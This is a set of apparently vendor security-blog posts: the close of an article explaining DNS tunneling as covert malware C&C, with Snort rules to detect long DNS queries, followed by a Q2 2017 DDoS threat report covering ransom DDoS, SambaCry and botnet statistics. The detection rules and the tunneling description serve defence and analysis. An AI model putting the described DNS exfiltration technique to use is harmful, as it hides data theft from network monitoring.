Can we consider use of a DNS tunnel a subtype of steganography? Yes, definitely. For starters, let’s recap on how a DNS tunnel works.

From a user computer in a closed network, a request is sent to resolve a domain, for example the domain wL8nd3DdINcGYAAj7Hh0H56a8nd3DdINcGYAlFDHBurWzMt[.]imbadguy[.]com to an IP address. (In this URL, the second-level domain name is not meaningful.) The local DNS server forwards this request to an external DNS server. The latter, in turn, does not know the third-level domain name, so it passes this request forward. Thus, this DNS request follows a chain of redirections from one DNS server to another, and reaches the DNS server of the domain imbadguy[.]com.

Instead of resolving a DNS request at the DNS server, threat actors can extract the information they require from the received domain name by decoding its first part. For example, information about the user’s system can be transmitted in this way. In response, a threat actor’s DNS server also sends some information in a decoded format, putting it into the third- or higher-level domain name.

This means the attacker has 255 characters in reserve for each DNS resolution, up to 63 characters for subdomains. 63 characters’ worth of data is sent in each DNS request, and 63 characters are sent back in response, and so on. This makes it a decent data communications channel! Most importantly, it is concealed communication, as an unaided eye cannot see that any extra data is being communicated.

To specialists who are familiar with network protocols and, in particular, with DNS tunneling, a traffic dump containing this sort of communication will look quite suspicious – it will contain too many long domains that get successfully resolved. In this specific case, we are looking at the real-life example of traffic generated by the Trojan Backdoor.Win32.Denis, which uses a DNS tunnel as a concealed channel to communicate with its C&C.

A DNS tunnel can be detected with the help of any popular intrusion detection (IDS) tool such as Snort, Suiricata or BRO IDS. This can be done using various methods. For example, one obvious idea is to use the fact that domain names sent for DNS resolution are much longer than usual during tunneling. There are quite a few variations on this theme on the Internet:

alert udp any any -> any 53 (msg:”Large DNS Query, possible cover channel”; content:”|01 00 00 01 00 00 00 00 00 00|”; depth:10; offset:2; dsize:>40; sid:1235467;)

There is also this rather primitive approach:

Alert udp $HOME_NET and -> any 53 (msg: “Large DNS Query”; dsize: >100; sid:1234567;)

There is plenty of room for experimenting here, trying to find a balance between the number of false positives and detecting instances of actual DNS tunneling.

Apart from suspiciously long domain names, what other factors may be useful? Well, anomalous syntax of domain names is another factor. All of us have some idea of what typical domain names look like – they usually contain letters and numbers. But if a domain name contains Base64 characters, it will look pretty suspicious, won’t it? If this sort of domain name is also quite long, then it is clearly worth a closer look.

Many more such anomalies can be described. Regular expressions are of great help in detecting them.

We would like to note that even such a basic approach to detecting DNS tunnels works very well. We applied several of these rules for intrusion detection to the stream of malware samples sent to Kaspersky Lab for analysis, and detected several new, previously unknown backdoors that used DNS tunnels as a covert channel for C&C communication.

Conclusions

We are seeing a strong upward trend in malware developers using steganography for different purposes, including for concealing C&C communication and for downloading malicious modules. This is an effective approach considering payload detection tools are probabilistic and expensive, meaning most security solutions cannot afford to process all the objects that may contain steganography payloads.

However, effective solutions do exist – they are based on combinations of different methods of analysis, prompt pre-detections, analysis of meta-data of the potential payload carrier, etc. Today, such solutions are implemented in Kaspersky Lab’s Anti-Targeted Attack solution (KATA). With KATA deployed, an information security officer can promptly find out about a possible targeted attack on the protected perimeter and/or the fact that data is being exfiltrated.

2017. augusztus 1.

DDoS attacks in Q2 2017

News Overview

The second quarter of 2017 saw DDoS attacks being more and more frequently used as a tool for political struggle. The Qatar crisis was accompanied by an attack on the website of Al Jazeera, the largest news network in the area, Le Monde and Le Figaro websites were targeted in the heat of the presidential election in France, and in Great Britain they recalled a year-old incident with the Brexit voter registration website where some citizens were excluded from the referendum because of the continuous attacks on the website.

Quite a significant event took place in the USA: the Federal Communications Commission (FCC) revealed plans for abolishing the principle of net neutrality, legislatively mandated two years before. The public comment system of the Commission website was rendered inoperative for about a day and eventually was completely disabled as a result of a massive attack. The reason for the crash remained unclear: it was either an invasion of the opponents of net neutrality, who were flooding the system with identical comments, or, on the contrary, an attack launched by the supporters of net neutrality, who tried to prevent their adversaries from flooding the FCC website with fake comments.

And yet, money remains the driving force of DDoS attacks. The growing interest in cryptocurrencies led to an increase in their exchange-value in the second quarter of 2017, which in turn drew the attention of cybercriminals. The largest bitcoin exchange, Bitfinex underwent an attack at the same time as the trading of a new IOT-currency IOTA was launched. Somewhat earlier the BTC-E exchange stated that its services were slowed down because of a powerful DDoS attack. Apparently, this way cybercriminals attempt to manipulate the currency rates, which can be quite easily achieved considering the high volatility of cryptocurrencies.

Owners of DDoS botnets do not limit themselves to renting out their computing powers. At the end of June, there was registered a large-scale attempt of extortion under threat of a DDoS attack. The group that calls itself Armada Collective demanded about $315,000 from seven South Korean banks in exchange for not disrupting their online services. According to a Radware report, this was not the first case of extortion through a DDoS attack initiated by this group.

With growing financial losses from DDoS attacks law enforcement agencies begin to take the attack initiators more seriously. In April 2017 in Great Britain, a young man was sentenced to two years in prison for a series of attacks, which he had carried out five years before while still being a student. The man had created the Titanium Stresser botnet and traded its services on a darknet, thus yielding a profit of approximately £386,000.

There were not many technical innovations in DDoS attacks in the second quarter; however, news concerning a new DDoS-attack vector deserves attention. Researchers from Corero Network Security reported that they had registered more than 400 attacks with the help of misconfigured LDAP servers. The largest attack volume was at 33 Gb/s. As amplified reflection was used in that case, the organization of such attacks requires relatively few resources.

The most infamous attack of the second quarter became a DDoS attack on Skype servers. Many users of the messenger all over the world experienced connectivity problems. The responsibility for the campaign was claimed by CyberTeam, but its motives remain unknown.

Quarter Trends Ransom DDoS

The trend of extorting money under threat of DDoS attacks is becoming more prominent during this quarter. This approach was dubbed “ransom DDoS”, or “RDoS”. Cybercriminals send a message to a victim company demanding a ransom of 5 to 200 bitcoins. In case of nonpayment, they promise to organize a DDoS attack on an essential web resource of the victim. Such messages are often accompanied by short-term attacks which serve as demonstration of the attacker’s power. The victim is chosen carefully. Usually, the victim is a company which would suffer substantial losses if their resources are unavailable.

There is another method as opposed to the above-mentioned one: hoping to gain revenue quickly and without much effort cybercriminals contact a great number of companies by sending out ransom messages with threats of launching a DDoS attack, not taking into account the specifics of these companies’ operation. In most cases, they do not launch a demonstrative attack. Paying the ransom would create a certain reputation for a company and provoke further attacks of other cybercriminal groups.

It should be noted that these groups now are more and more represented not by well-coordinated hacker professional teams but by beginners who do not even possess the skills to launch a DDoS attack and only have the means for a “demonstrative attack”. Those who fall victim to this scheme are companies that for one reason or another have no resources to organize security for their services yet capable of parting with available funds in order to pay the ransom.

SambaCry

There is yet another important event of the quarter, which is the discovery of a vulnerability in the Samba network software. The vulnerability allows cybercriminals to execute code remotely on devices running Linux and Unix. Samba is a software suite that allows addressing network disks and printers and runs on a majority of Unix-like operating systems, such as Linux, POSIX-compatible Solaris and Mac OS X Server and various BSD OSes.

According to the Samba company, “all versions of Samba from 3.5.0 onwards have a remote code-execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it”.

The total number of devices with the vulnerable software reaches over 500,000, roughly estimated. This means that cybercriminals can use the devices to create botnets with the goal of carrying out large-scale DDoS attacks.

Statistics for botnet-assisted DDoS attacks Methodology

Kaspersky Lab has extensive experience of combating cyber threats, including DDoS attacks of various complexity types and ranges. The experts of the company have been tracking the actions of botnets by using the DDoS Intelligence system.

Being part of the Kaspersky DDoS Prevention solution, the DDoS Intelligence system is intended to intercept and analyze commands sent to bots from command-and-control servers and requires neither infecting any user devices nor the actual execution of cybercriminals’ commands.

This report contains DDoS Intelligence statistics for the second quarter of 2017.

In the context of this report, it is assumed that an incident is a separate (single) DDoS-attack if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this incident is considered as two attacks. Also, bot requests originating from different botnets but directed at one resource count as separate attacks.

The geographical locations of DDoS-attack victims and C&C servers that were used to send commands are determined by their respective IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.

It is important to note that DDoS Intelligence statistics are limited only to those botnets that have been detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools for performing DDoS attacks; thus, the data presented in this report do not cover every single DDoS attack occurred during the indicated period.

Q2 summary
  • The resources in 86 countries were attacked in Q2 2017, 14 countries increase over the Q1 2017.
  • Just as in Q1, almost one-half of the attacks (47.42%) were aimed at the targets in China.
  • China, South Korea, and the USA remained leaders by both the number of attacks and the number of targets. According to the number of reported C&C servers, the same countries are in the TOP 3; but South Korea took the first place this time.
  • The long-term DDoS attacks made it back in Q2. The record duration was 277 hours, which was a 131% increase compared to Q1. At the same time, the share of the attacks that lasted less than 50 hours remained practically unchanged (99.7% in Q2 vs. 99.8% in Q1).
  • There was a considerable drop in the share of attacks over TCP (down to 18.2% from 26.6%) and ICPM (down to 7.3% from 8.2%). This caused a rise in the percentage of SYN floods and attacks over UDP and HTTP.
  • Linux botnets recovered from the decline of their share in Q1. Those botnets were responsible for 51.23% of attacks in Q2 compared to 43.40% in Q1.
Geography of attacks

DDoS attacks were registered in 86 countries in Q2, where the largest number of the attacks were aimed at China (58.07% of all of the attacks), which is 3 p.p. higher compared to the previous quarter. South Korea went down from 22.41% to 14.17% and retained second place nonetheless, while the USA rose from 11.37% up to 14.03%, almost catching up with South Korea.

The top 10 accounted for 94.60% of attacks and included Italy (0.94%) and Netherlands (0.84%), pushing down Vietnam and Denmark in Q2. Russia (1.60%) lost 0.37 p.p., moving down from fourth to sixth place, while Great Britain went up from 0.77% to 1.38%, a rise from seventh to fifth place.

Distribution of DDoS attacks by country, Q1 2017 vs. Q2 2017

95.3% of the attacks were aimed at targets in the countries of top 10 in Q2 2017.

Distribution of unique DDoS-attack targets by country, Q1 2017 vs. Q2 2017

China maintained its leading position in distribution by number of targets: 47.42% of them were located in the territory of the country, a fall of 0.36 p.p. compared to Q1. At the same time, the USA pushed down South Korea by going up from third to second place. Respectively, the USA rose to 18.63% (vs. 13.80% in Q1), while South Korea went from 26.57% down to 16.37%.

The share of targets located in the territory of Russia dropped from 1.55% in Q1 to 1.33% in Q2, pushing Russia down from fifth to seventh place. Vietnam and Denmark left the top 10 and were replaced by Italy (1.35%) and Australia (0.97%).

Dynamics of the number of DDoS attacks

The number of attacks per day ranged from 131 (April 17) to 904 (April 13) in Q2 2017. The peak numbers were registered on April 24 (581), May 7 (609), June 10 (614), and June 16 (621). A relative downturn was registered on April 14 (192), May 31 (240), and June 23 (281).

Dynamics of the number of DDoS attacks in Q2 2017*
*Since DDoS attacks may continuously last for several days, one attack may be counted several times in the timeline, i.e., once per day.

Monday stayed as the quietest day for DDoS attacks (11.74% of all of the attacks) in Q2 2017, while Sunday became the busiest day (15.57%) on account of the activity slacking on Saturday, a fall from 16.05% in Q1 to 14.39% in Q2. Thursday became the second busiest day, coming right behind Sunday (15.39%).

Distribution of DDoS attacks by day of the week

Types and duration of DDoS attacks

SYN floods partially recovered their positions lost during the previous quarter, rising from 48.07% to 53.26% in Q2 2017. There was an increase of percentage for both UDP attacks (from 8.71% up to 11.91%) and HTTP attacks (from 8.43% up to 9.38%). At the same time, the share of TCP DDoS attacks plummeted from 26.62% down to 18.18%, while the popularity of ICMP attacks slightly decreased from 8.17% down to 7.27% (out of all of the registered attacks).

Distribution of DDoS attacks by type

Long-term attacks made it back to the statistics in Q2 2017: 0.07% of the attacks lasted more than 100 hours, while the record attack continued for 277 hours, 157 hours longer than the record of the previous quarter. At the same time, the share of attacks that lasted 4 hours or less increased from 82.21% in Q1 to 85.93% in Q2. Thus, the percentage of attacks lasting from 5 to 49 hours decreased.

Distribution of DDoS attacks by duration (hours)

C&C servers and botnet types

The top 3 countries with the greatest number of detected C&C servers was slightly changed in Q2: China retained the third place with its 7.74%, ousting Netherlands, which moved down to fourth place despite an increase from 3.51% to 4.76%. South Korea kept its leading position and saw a fall from 66.49% down to 49.11%, while the USA still retained the second place (16.07%). The top 3 countries accounted for 72.92% of C&C servers in total.

The top 10 included Canada and Denmark (each at 0.89%), ousting Romania and Great Britain in Q2. Compared to Q1 2017, there was a significant decrease in the shares of Hong Kong (down to 1.19% from 1.89%) and Russia (down to 2.68% from 3.24%).

Distribution of botnet C&C servers by country in Q2 2017

Distribution by operating system became almost balanced in Q2: the share of Linux-based botnets comprised 51.23%; accordingly, Windows-based botnets comprised 48.77%.

Correlation between Windows- and Linux-based botnet attacks

Conclusions

There were no particular changes in the statistics of the second quarter of 2017 when compared to the previous quarter. As before about one half of DDoS attacks still originated in China, also in China was one half of the detected attack targets.

The second quarter quite clearly showed that the DDoS-attack threat is perceived rather seriously. Some companies were prepared to pay cybercriminals literally after their first demand without waiting for the attack itself. This set off a whole new wave of fraud involving money extortion under threat of a DDoS attack, also known as “ransom DDoS”. The gravity of the situation can be seen in the cybercriminals’ frequent disregard for demonstrating their capabilities; instead, the fraudsters would just send out ransom messages directed at a large pool of addresses. Certainly, the “entry threshold” for ransom DDoS is extremely low, fraudsters need neither significant resources nor technical skills or knowledge.